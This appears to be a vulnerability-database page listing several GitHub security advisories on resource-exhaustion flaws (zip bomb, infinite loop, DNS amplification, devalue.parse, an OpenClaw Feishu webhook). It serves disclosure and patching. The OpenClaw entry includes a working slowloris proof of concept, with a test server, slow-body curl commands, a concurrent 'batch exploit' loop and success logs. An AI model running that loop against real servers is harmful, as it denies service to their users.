      "package": {
        "ecosystem": "Go",
        "name": "github.com/ctfer-io/chall-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-10T17:50:25Z",
    "nvd_published_at": "2025-07-10T20:15:27Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen decoding a scenario (i.e. a zip archive), the size of the decoded content is not checked, potentially leading to zip bombs decompression.\nExploitation does not require authentication nor authorization, so anyone can exploit it. It should nonetheless not be exploitable as it is highly recommended to bury Chall-Manager deep within the infrastructure due to its large capabilities, so no users could reach the system.\n\n### Patches\n\nPatch has been implemented by [commit `14042aa`](https://github.com/ctfer-io/chall-manager/commit/14042aa66a577caee777e10fe09adcf2587d20dd) and shipped in [`v0.1.4`](https://github.com/ctfer-io/chall-manager/releases/tag/v0.1.4).\n\n### Workarounds\n\nNo workaround exist.\n\n### References\n\nN/A.",
  "id": "GHSA-r7fm-3pqm-ww5w",
  "modified": "2025-07-10T23:21:54Z",
  "published": "2025-07-10T17:50:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ctfer-io/chall-manager/security/advisories/GHSA-r7fm-3pqm-ww5w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53633"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ctfer-io/chall-manager/commit/14042aa66a577caee777e10fe09adcf2587d20dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ctfer-io/chall-manager"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ctfer-io/chall-manager/releases/tag/v0.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Chall-Manager\u0027s scenario decoding process does not check for zip bombs"
}

GHSA-RVP5-CHFC-GRQ8

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30

Details

SAPUI5 (and OpenUI5) packages use outdated 3rd party libraries with known security vulnerabilities. When markdown-it encounters special malformed input, it fails to terminate properly, resulting in an infinite loop. This Denial of Service via infinite loop causes high CPU usage and system unresponsiveness due to a blocked processing thread. This vulnerability has no impact on confidentiality or integrity but has a high impact on system availability.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-42873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:17:51Z",
    "severity": "MODERATE"
  },
  "details": "SAPUI5 (and OpenUI5) packages use outdated 3rd party libraries with known security vulnerabilities. When markdown-it encounters special malformed input, it fails to terminate properly, resulting in an infinite loop. This Denial of Service via infinite loop causes high CPU usage and system unresponsiveness due to a blocked processing thread. This vulnerability has no impact on confidentiality or integrity but has a high impact on system availability.",
  "id": "GHSA-rvp5-chfc-grq8",
  "modified": "2025-12-09T18:30:37Z",
  "published": "2025-12-09T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42873"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3676970"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VPFG-GC96-VG45

Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-05-19 15:31

Details

Technitium DNS Server aggressively tries to fetch missing RRSIG records or mismatched DNSKEY records. An attacker in control of a domain can cause a vulnerable system to generate excessive network traffic. Fixed in 15.0.

Severity

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-45557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T15:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Technitium DNS Server aggressively tries to fetch missing RRSIG records or mismatched DNSKEY records. An attacker in control of a domain can cause a vulnerable system to generate excessive network traffic. Fixed in 15.0.",
  "id": "GHSA-vpfg-gc96-vg45",
  "modified": "2026-05-19T15:31:36Z",
  "published": "2026-05-19T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45557"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TechnitiumSoftware/DnsServer/blo/master/CHANGELOG.md#version-150"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-138-02.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45557"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VW5P-8CQ8-M7MV

Vulnerability from github – Published: 2026-01-15 18:10 – Updated: 2026-01-15 22:33

Summary

Devalue is vulnerable to denial of service due to memory exhaustion in devalue.parse

Details

Summary

Certain inputs can cause devalue.parse to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using devalue.parse on externally-supplied data. The root cause is the typed array hydration expecting an ArrayBuffer as input, but not checking the assumption before creating the typed array.

Details

The parser's typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.

Impact

This is a denial of service vulnerability affecting systems that use devalue.parse to handle data from potentially untrusted sources.

Affected systems should upgrade to patched versions immediately.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "devalue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T18:10:15Z",
    "nvd_published_at": "2026-01-15T19:16:05Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nCertain inputs can cause `devalue.parse` to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using `devalue.parse` on externally-supplied data. The root cause is the typed array hydration expecting an `ArrayBuffer` as input, but not checking the assumption before creating the typed array.\n\n## Details\n\nThe parser\u0027s typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.\n\n## Impact\n\nThis is a denial of service vulnerability affecting systems that use `devalue.parse` to handle data from potentially untrusted sources.\n\nAffected systems should upgrade to patched versions immediately.",
  "id": "GHSA-vw5p-8cq8-m7mv",
  "modified": "2026-01-15T22:33:39Z",
  "published": "2026-01-15T18:10:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-vw5p-8cq8-m7mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/11755849fa0634ae294a15ec0aef2f43efcad7c4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/e46afa64dd2b25aa35fb905ba5d20cea63aabbf7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/devalue"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/releases/tag/v5.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Devalue is vulnerable to denial of service due to memory exhaustion in devalue.parse"
}

GHSA-W6M8-CQVJ-PG5V

Vulnerability from github – Published: 2026-03-30 18:32 – Updated: 2026-04-10 19:44

Summary

OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)

Details

Fixed in OpenClaw 2026.3.24, the current shipping release.

Advisory Details

Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)

Description:

Summary

The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.

Details

In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:

const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)

// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB
  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s
  responseFormat: "text",
});

The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:

Any unauthenticated HTTP POST is accepted
The server waits up to 30 seconds for the body to arrive
Each connection can buffer up to 1MB
Authentication only happens after the body is fully read

The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:

const PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s

The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.

Attack chain:

[Attacker sends slow HTTP POST to /feishu/events]
  → Rate limit check: passes (under 120 req/min)
  → Content-Type check: application/json, passes
  → installRequestBodyLimitGuard(1MB, 30s): installed
  → Body trickles at 1 byte/sec for 30 seconds
  → × 50 concurrent connections = connection exhaustion
  → Legitimate Feishu webhook deliveries blocked

PoC

Prerequisites: Docker installed.

Step 1: Create a minimal test server reproducing the vulnerable body parsing:

cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)

function bodyGuard(req, res, timeoutMs) {
  let done = false;
  const timer = setTimeout(() => {
    if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
  }, timeoutMs);
  req.on("end", () => { done = true; clearTimeout(timer); });
  req.on("close", () => { done = true; clearTimeout(timer); });
}

http.createServer((req, res) => {
  if (req.url === "/healthz") { res.end("OK"); return; }
  if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
  const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
  console.log(`[${req.url}] +conn`);
  bodyGuard(req, res, timeout);
  res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1

Step 2: Verify the vulnerability — slow body holds connection for the full timeout:

# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/feishu/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/patched/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

Step 3: Batch exploit — 10 concurrent slow connections:

for i in $(seq 1 10); do
  (echo -n 'A'; sleep 15) | \
    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
    -H "Content-Type: application/json" \
    -H "Content-Length: 65536" \
    --data-binary @- --max-time 35 &
done
wait

Log of Evidence

Exploit result (vulnerable /feishu/events):

=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10

  [conn-0] held open for 15.0s (15B sent) [SUCCESS]
  [conn-1] held open for 15.0s (15B sent) [SUCCESS]
  [conn-2] held open for 15.0s (15B sent) [SUCCESS]
  [conn-3] held open for 15.0s (15B sent) [SUCCESS]
  [conn-4] held open for 15.0s (15B sent) [SUCCESS]
  [conn-5] held open for 15.0s (15B sent) [SUCCESS]
  [conn-6] held open for 15.0s (15B sent) [SUCCESS]
  [conn-7] held open for 15.0s (15B sent) [SUCCESS]
  [conn-8] held open for 15.0s (15B sent) [SUCCESS]
  [conn-9] held open for 15.0s (15B sent) [SUCCESS]

=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!

Control result (patched /patched/events with 5s timeout):

=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events

  [conn-0] RESET after 8.0s (8B)
  [conn-1] RESET after 8.0s (8B)
  ...
  [conn-9] RESET after 8.0s (8B)

Avg connection hold time: 8.0s (5s timeout + stagger delay)

Server-side Docker logs confirming the discrepancy:

[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10)  ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19)  ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)

Impact

An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.

With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can: - Exhaust the server's connection handling capacity for 30 seconds per wave - Block legitimate Feishu webhook deliveries (messages not reaching the bot) - Consume up to 50MB of memory (50 × 1MB buffer) per attack wave

The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.

Affected products

Ecosystem: npm
Package name: openclaw
Affected versions: <= 2026.2.22
Patched versions: None

Severity

Severity: Medium
Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Weaknesses

CWE: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink	Description
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27	Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) — should be 64KB/5s to match the CVE-2026-32011 patch.
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280	`installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284).

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T18:32:03Z",
    "nvd_published_at": "2026-04-10T17:17:08Z",
    "severity": "MODERATE"
  },
  "details": "\u003e Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension\u0027s webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB\n  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s\n  responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK\u0027s `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n  \u2192 Rate limit check: passes (under 120 req/min)\n  \u2192 Content-Type check: application/json, passes\n  \u2192 installRequestBodyLimitGuard(1MB, 30s): installed\n  \u2192 Body trickles at 1 byte/sec for 30 seconds\n  \u2192 \u00d7 50 concurrent connections = connection exhaustion\n  \u2192 Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat \u003e /tmp/feishu_webhook_server.js \u003c\u003c \u0027EOF\u0027\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n  let done = false;\n  const timer = setTimeout(() =\u003e {\n    if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n  }, timeoutMs);\n  req.on(\"end\", () =\u003e { done = true; clearTimeout(timer); });\n  req.on(\"close\", () =\u003e { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) =\u003e {\n  if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n  if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n  const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n  console.log(`[${req.url}] +conn`);\n  bodyGuard(req, res, timeout);\n  res.on(\"finish\", () =\u003e console.log(`[${req.url}] -conn`));\n}).listen(3000, () =\u003e console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js \u0026\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability \u2014 slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/feishu/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/patched/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit \u2014 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n  (echo -n \u0027A\u0027; sleep 15) | \\\n    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n    -H \"Content-Type: application/json\" \\\n    -H \"Content-Length: 65536\" \\\n    --data-binary @- --max-time 35 \u0026\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n  [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n  [conn-0] RESET after 8.0s (8B)\n  [conn-1] RESET after 8.0s (8B)\n  ...\n  [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10)  \u2190 No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19)  \u2190 ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server\u0027s connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 \u00d7 1MB buffer) per attack wave\n\nThe attack is trivial \u2014 it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) \u2014 should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants \u2014 this guard runs before authentication (the Lark SDK handler at line 284). |",
  "id": "GHSA-w6m8-cqvj-pg5v",
  "modified": "2026-04-10T19:44:53Z",
  "published": "2026-03-30T18:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)"
}

CWE-405

Asymmetric Resource Consumption (Amplification)

Summary

Details

Impact

Vulnerability Pattern

Affected Scope

Attack Mechanics

Impact

Severity Rationale

Proof of Concept

Remediation

Prior Art

Impact

Patches

References

Impact

Patches

Workarounds

References

Summary

Details

Impact

Advisory Details

Summary

Details

PoC

Log of Evidence

Impact

Affected products

Severity

Weaknesses

Occurrences

Mitigation

Mitigation

Mitigation